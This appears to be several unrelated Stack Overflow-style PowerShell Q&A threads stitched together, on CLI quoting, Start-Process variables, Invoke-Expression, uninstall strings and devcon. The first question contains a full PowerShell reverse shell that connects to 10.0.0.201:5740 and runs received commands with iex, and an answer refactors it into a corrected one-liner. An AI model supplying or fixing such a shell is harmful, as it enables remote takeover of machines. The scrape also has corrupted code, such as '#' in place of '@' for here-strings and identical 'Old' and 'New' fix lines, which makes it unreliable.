I've been pulling my hair out all day because of this issue.
I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. “ vs ", with powershell requiring the former.
Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definitely do not. My use case prevents me from being able to type the weird quotation mark.
powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) - Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
The error:
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
You must provide a value expression following the '+' operator.
At line:1 char:469
\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS + (pwd ...
\+ \~\~
Unexpected token 'PS' in expression or statement.
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
Missing closing ')' in expression.
At line:1 char:489
\+ ... endback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name ...
\+ \~
Missing file specification after redirection operator.
At line:1 char:262
\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...
\+ \~
Missing closing '}' in statement block or type definition.
At line:1 char:490
\+ ... dback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name s ...
\+ \~
Unexpected token ')' in expression or statement.
At line:1 char:650
\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...
\+ \~
Unexpected token '}' in expression or statement.
\+ CategoryInfo : ParserError: (:) \[\], ParentContainsErrorRecordException
\+ FullyQualifiedErrorId : ExpectedValueExpression
As per my comment. Open up any PowerShell Editor to look at your code to see where you are going wrong, as the editors will highlight issues, well before you make a run attempt.
This is what you really have:
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value ($sendback + "PS " + (Get-Location).Path + "> ") -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
I took out the aliases because aliases as a rule shown not to be used in production scripts. See the docs on the topic. Aliases are fine for throw-away code and quick CLI stuff.
Unless you are expanding variables or other specific formatting needs, then use the single quote for simple strings. Especially if you are putting this sort of stuff on one line, to avoid unnecessary quoting gymnastics.
So, refactoring a bit should allow this to work.
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Putting this all on one line and running this via cmd.exe calling powershell.exe could look like this.
powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}
Yet, only you can test this as none of us here would have the same environment as you of course.
PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
[-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
[-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
[-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
[-ConfigurationName <string>]
[-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
...
EXAMPLES
PowerShell -PSConsoleFile SqlSnapIn.Psc1
PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
PowerShell -ConfigurationName AdminRoles
PowerShell -Command {Get-EventLog -LogName security}
PowerShell -Command "& {Get-EventLog -LogName security}"
# To use the -EncodedCommand parameter:
$command = 'dir "c:\program files" '
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encodedCommand
Update:
Your Reddit cross-post reveals that you're trying call the PowerShell CLI from inside PowerShell:
There is normally no good reason to do so, but if you do need it (e.g. when you need to call Windows PowerShell from PowerShell (Core) 7+), pass your commands inside a script block ({ ... }), which avoids the quoting headaches and also enables support for (limited) type fidelity (not just strings) - see this answer.
Obfuscated PowerShell one-liners are sometimes used for nefarious purposes, which, needless to say, should not be condoned.
In string-based CLI calls, which is what you attempted, double quotes require escaping as \" in order to be considered part of the PowerShell command to execute - see this answer for an explanation.
When you used "Unicode" (non-ASCII) double quotes such as “, that escaping need went away, for the reasons explained in the bottom section. However, this should not be relied on.
On a general note: If you use non-ASCII literals such as “ in your script, you must ensure that PowerShell interprets the script file's character encoding correctly, which for UTF-8 files notably requires them to have a BOM in Windows PowerShell - see this answer.
The following discusses calling the PowerShell CLI from cmd.exe / from outside PowerShell in general.
tl;dr
Do not try to use non-ASCII-range quotation marks such as “ and ” (see the bottom section for why).
Instead, use normal (ASCII-range) double quotes (") and escape them as \"
Never use '...' to enclose your PowerShell commands passed to the PowerShell CLI (on Windows, from outside PowerShell), unless your intent is to create a string literal instead of executing a command.
The keys to making your call to powershell.exe, the Windows PowerShell CLI, work as intended from cmd.exe / outside PowerShell[1] are:
Do not use overall '...' quoting (single quoting), because PowerShell will interpret the entire argument as a verbatim string rather than as a command.
It's best to use overall "..." quoting (see below).
Do not use \ as the escape character - except to escape " characters (see below).
Not only does \ not function as a general-purpose escape character (neither in PowerShell nor in cmd.exe), [ and ] do not require escaping, so that, for instance, \[byte\[\]\] should just be [byte[]].
PowerShell's escape character is `, the so-called backtick, and cmd.exe's escape character - in unquoted arguments only - is ^.
" characters that you want to be part of the PowerShell command to execute must be escaped as \"
Escaping " characters is a requirement whether or not you're using overall "..." quoting, but without the latter it is only \" that works - see this answer, which also explains why this escaping is necessary.
With overall "..." quoting, which is generally preferable, because cmd.exe then (mostly) does not interpret the content, \" works too, but there are still edge cases where misinterpretation by cmd.exe can occur, in which case an alternative form of "-escaping is the solution: This alternative form is edition-specific, unfortunately: "^""..."^"" (sic) in Windows PowerShell, ""..."" in PowerShell (Core) 7+ - see this answer.
When calling from cmd.exe / a batch file, avoid use of %, unless you're trying to reference an environment variable cmd.exe-style, e.g. %OS%:
From batch files, % chars. you want to pass through to PowerShell, must be escaped as %%
In an interactive cmd.exe session, % cannot be escaped at all, and %% would be passed as is.
Therefore, to avoid commands from breaking situationally - depending on whether they're called from a batch file or from an interactive session - avoid %, if possible; here you can use foreach as an alternative to use of % as an alias of the ForEach-Object cmdlet (of course, you can use the full cmdlet name too).
Here's a simplified command that implements all the tips above:
:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"
You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).
As for using non-ASCII ("Unicode") double quotes:
PowerShell-internally, it is allowed to substitute non-ASCII-range punctuation for their ASCII-range equivalents:
As you've discovered “ (LEFT DOUBLE QUOTATION MARK, U+201C) and ” (RIGHT DOUBLE QUOTATION MARK, U+201D) can be used in lieu of a pair of regular double quotes (")
This answer provides an overview of all substitutions that are supported.
By contrast, on the PowerShell CLI's command line, it is only the normal, ASCII-range double quotes (" (QUOTATION MARK, U+0022)) that have syntactic function, so that the non-ASCII-range “ and ” characters are passed through as part of the PowerShell command to execute.
That is, the use of the non-ASCII-range “ and ” characters effectively saves you from the need to escape them - both in unquoted tokens and inside normal "..."
However, this behavior is both obscure and visually subtle and should not be relied upon: instead, use normal double quotes consistently and escape pass-through ones as \", as discussed above.
As an aside: Regular console windows (conhost.exe) won't even allow you to paste the non-ASCII-range double quotes: they are converted to normal ones. You can, however, paste them in Windows Terminal and in the Windows Run dialog (WinKey-R).
[1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }) - see this answer.
I want to pass a variable to a new console, but I don't know how.
$server = "server_name"
Start-Process Powershell {
$host.ui.RawUI.WindowTitle = “Get-Process”
Invoke-Command -ComputerName $server -ScriptBlock {
Get-Process
}
cmd /c pause
}
Error message:
Invoke-Command : Cannot validate argument on parameter 'ComputerName'. The argument is null or empty. Provide an argument that is not null or empty, and then try the command again
Start-Process only accepts (one or more) strings as arguments, not a script block ({ ... }).
While a script block is accepted, it is simply stringified, which results in its verbatim content being passed as the argument (sans { and }), which means that $server is retained as-is (not expanded), and the child process that runs your command doesn't have a variable by that name defined, causing Invoke-Command to fail due not receiving a value for -ComputerName.
Therefore, in order to incorporate variable values from the caller's scope, you must use string interpolation, using an expandable (double-quoted) string ("...") that encodes all arguments:[1]
$server = "server_name"
# Parameters -FilePath and -ArgumentList are positionally implied.
# For the resulting powershell.exe call, -Command is implied.
Start-Process powershell "
$host.ui.RawUI.WindowTitle = 'Get-Process'
Invoke-Command -ComputerName $server -ScriptBlock { Get-Process }
pause
"
A computer name ($server, in your case) doesn't contain spaces, but any variable values that do would require embedded enclosing quoting inside the overall "..." string, such as \`"$someVar\`" (`" escapes an " inside a "..." string in PowerShell, and the \ is additionally needed to escape the resulting verbatim " for the PowerShell CLI, powershell.exe).
For full robustness, additionally enclose the entire string value (implied -Command argument) in embedded "..." quoting ("`"...`"").
You can make this a bit easier by using the here-string form of an expandable string (#"<newline>...<newline>"#), inside of which you don't need to escape " chars.
Example of a fully robust call:
$someVar = 'A value with spaces'
Start-Process powershell #"
-NoProfile -Command "
# Echo the value of $someVar
Write-Output \"$someVar\"
pause
"
"#
Note the use of -NoProfile before -Command, which suppresses loading of the profile files, which can speed up the call and makes for a more predictable execution environment.
[1] Technically, -ArgumentList accepts an array of arguments, and while passing the pass-through arguments individually may be conceptually preferable, a long-standing bug unfortunately makes it better to encode all arguments in a single string - see this answer.
if you want to use param-
info
param([type]$p1 = , [type]$p2 = , ...)
or:
info
param(
[string]$server
)
Write-Host $a
./Test.ps1 "your server name"
I have been doing a lot of reading on invoke-expression (also known as iex) and I'm having trouble getting it to work for me.
My understanding is, it will run any powershell code you give to it. However, when I run my tests on it, it does not run the code.
Example:
## testcode.ps1
$myvar = "i am here"
if ($myvar -ne $null) {
"($myvar) variable is Full"
} else {
"($myvar) variable is Empty"
}
Now, if I cat(gc) this file and I pass it to iex, it outputs a bunch of errors. Same thing happens when I save the code into a variable and then feed the variable to iex. Neither works.
Despite the fact that I've tried numerous examples, I feel there's something minor I'm doing wrong that I'm hoping someone can point out for me.
I'm new to Windows scripting, so please bear with me. These are the results of the tests I performed:
First Test:
PS C:\Users\J> gc C:\Users\J\testcode.ps1 | iex
Invoke-Expression : Cannot bind argument to parameter 'Command' because it is an empty string.
At line:1 char:31
+ cat C:\Users\J\testcode.ps1 | iex
+ ~~~
+ CategoryInfo : InvalidData: (:PSObject) [Invoke-Expression], ParameterBindingValidationException
+ FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyStringNotAllowed,Microsoft.PowerShell.Commands.InvokeExpressionCommand
iex : At line:1 char:23
+ if ($myvar -ne $null) {
+ ~
Missing closing '}' in statement block or type definition.
At line:1 char:31
+ cat C:\Users\J\testcode.ps1 | iex
+ ~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : MissingEndCurlyBrace,Microsoft.PowerShell.Commands.InvokeExpressionCommand
Second Test:
PS C:\Users\J> $scriptBlock = gc C:\Users\J\testcode.ps1
PS C:\Users\J>
PS C:\Users\J> iex -Command "$scriptBlock"
iex : At line:1 char:23
+ $myvar = "i am here" if ($myvar -ne $null) { "($myvar) variable ...
+ ~~
Unexpected token 'if' in expression or statement.
At line:1 char:1
+ iex -Command "$scriptBlock"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.InvokeExpressionCommand
PS C:\Users\J>
I'm aware that I can just run the file containing the code. However, I need help figuring out how iex works and what it is I'm doing wrong.
Please kindly advise.
First things first:
Invoke-Expression should generally be avoided and used only as a last resort, due to its security risks. In short: avoid it, if possible, given that superior alternatives are usually available. If there truly is no alternative, only ever use it on input you either provided yourself or fully trust - see this answer.
For the record: in the case at hand, the superior alternative is to directly invoke the script file:
# Prepend `& `, if the script file path is quoted or references a variable.
C:\Users\J\testcode.ps1
Invoke-Expression (iex) accepts multiple strings via the pipeline, and evaluates each individually, as a self-contained script.
Therefore, you must provide the contents of your script as a whole, as a single string, which is what Get-Content's (gc's) -Raw switch does[1]:
Get-Content -Raw C:\Users\J\testcode.ps1 | Invoke-Expression
Alternatively, pass the script-file contents as an argument:
Invoke-Expression (Get-Content -Raw C:\Users\J\testcode.ps1)
Note that passing the string to evaluate as an argument truly only accepts a single string, so the command would fail without -Raw.
[1] By default, the Get-Content cmdlet reads a file line by line, passing each line through the pipeline as it is being read.
$myvar = "I'm Here"
#Using Invoke-Expression - Accepts a STRING as Input
$SBCode = 'if ($Null -ne $myvar) {"($myvar) variable is Full"}' +
'else {"`$myvar variable is Empty"}'
Clear-Host
"Before Invoke-Expression `$myvar = $myvar"
$Result = Invoke-Expression $SBCode
"Invoke-Expression Returns: $Result"
#Using Invoke-Command - Accepts Script Block as Input
$SBCode = {
if ($myvar -ne $null) {
"($myvar) variable is Full"
}
else {
"`$myvar variable is Empty"
}
} #End $SBCode Script Block
"Before Invoke-Command `$myvar = $myvar"
$Result = Invoke-Command -ScriptBlock $SBCode
"Invoke-Command Returns: $Result"
Results:
Before Invoke-Expression $myvar = I'm Here
Invoke-Expression Returns: (I'm Here) variable is Full
Before Invoke-Command $myvar = I'm Here
Invoke-Command Returns: (I'm Here) variable is Full
# After changing $MyVar = $Null
Before Invoke-Expression $myvar =
Invoke-Expression Returns: $myvar variable is Empty
Before Invoke-Command $myvar =
Invoke-Command Returns: $myvar variable is Empty
HTH
You can use out-string to convert output into string.
cat C:\Users\J\testcode.ps1 | out-string | Invoke-Expression
When pulling this install string from the registry, there is an invisible leading character.
I am unable to run the uninstall string or strip this character. Various iterations of split, replace, join, etc work against the string, but do nothing to change the errant behaviour. I have tried within PowerShell or the Windows console.
Write-Output $uninst shows the correct string:
MsiExec.exe /x {1F4D7BAB-E816-43DF-B4B1-5A41A2DA13E8} /qn
When executing that string in PowerShell, the msiexec help bubble pops up. When executing that string at the Windows CMD shell, a white square character is at the beginning of the line.
# pull ESET uninstall string
$esetVer = Get-ChildItem -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall |
Get-ItemProperty |
Where-Object { $_.DisplayName -match "ESET Endpoint Antivirus" } |
Select-Object -Property DisplayName, UninstallString
foreach ($ver in $esetVer) {
if ($ver.UninstallString) {
$uninst = $ver.UninstallString
$uninst = $uninst.Replace('/I{',' /x {').Replace('}','} /qn')
Invoke-Expression $uninst
Write-Output $uninst
}
}
Removing first char only removes the M.
In my question, I focus on some errant character before the msiexec.exe command line. That apparently was not the issue. The issue was the braces around the app ID ( {1F4D7BAB-E816-43DF-B4B1-5A41A2DA13E8} ). They required a backtick. So, simply including the backtick before the brace in my substitution line fixed the code.
Old: $uninst = $uninst.Replace('/I{',' /x {').Replace('}','} /qn')
New: $uninst = $uninst.Replace('/I{',' /x {').Replace('}','} /qn')
This modification worked on 2 Windows 7 Pro computers.
From a command shell (cmd.exe) Win10 the following call is correct:
.\devcon.exe disable "USB\VID_0547&PID_1002&REV_0000"
But if I do the same from powershell I get the result
No matching devices found.
The same with that:
$retDevice = Get-WmiObject Win32_PNPEntity | select PnpDeviceID | where {$_.pnpdeviceid -like "USB\VID_0547&*"}
$callparam = $(" disable" +" " + $retDevice.pnpdeviceid.ToString()) + """"
.\devcon.exe $callparam
If I look at the string with the following all seems correct.
$callparam | Out-Default
out -> disable USB\VID_0547&PID_1002\5&22AA7556&0&2"
use start-Process instead:
Start-Process -FilePath $PathToDevcon -ArgumentList #('enable', '"USB\VID_0547&PID_1002&REV_0000"') -WindowStyle Hidden -Wait
WindowStyle and wait are of course optionnal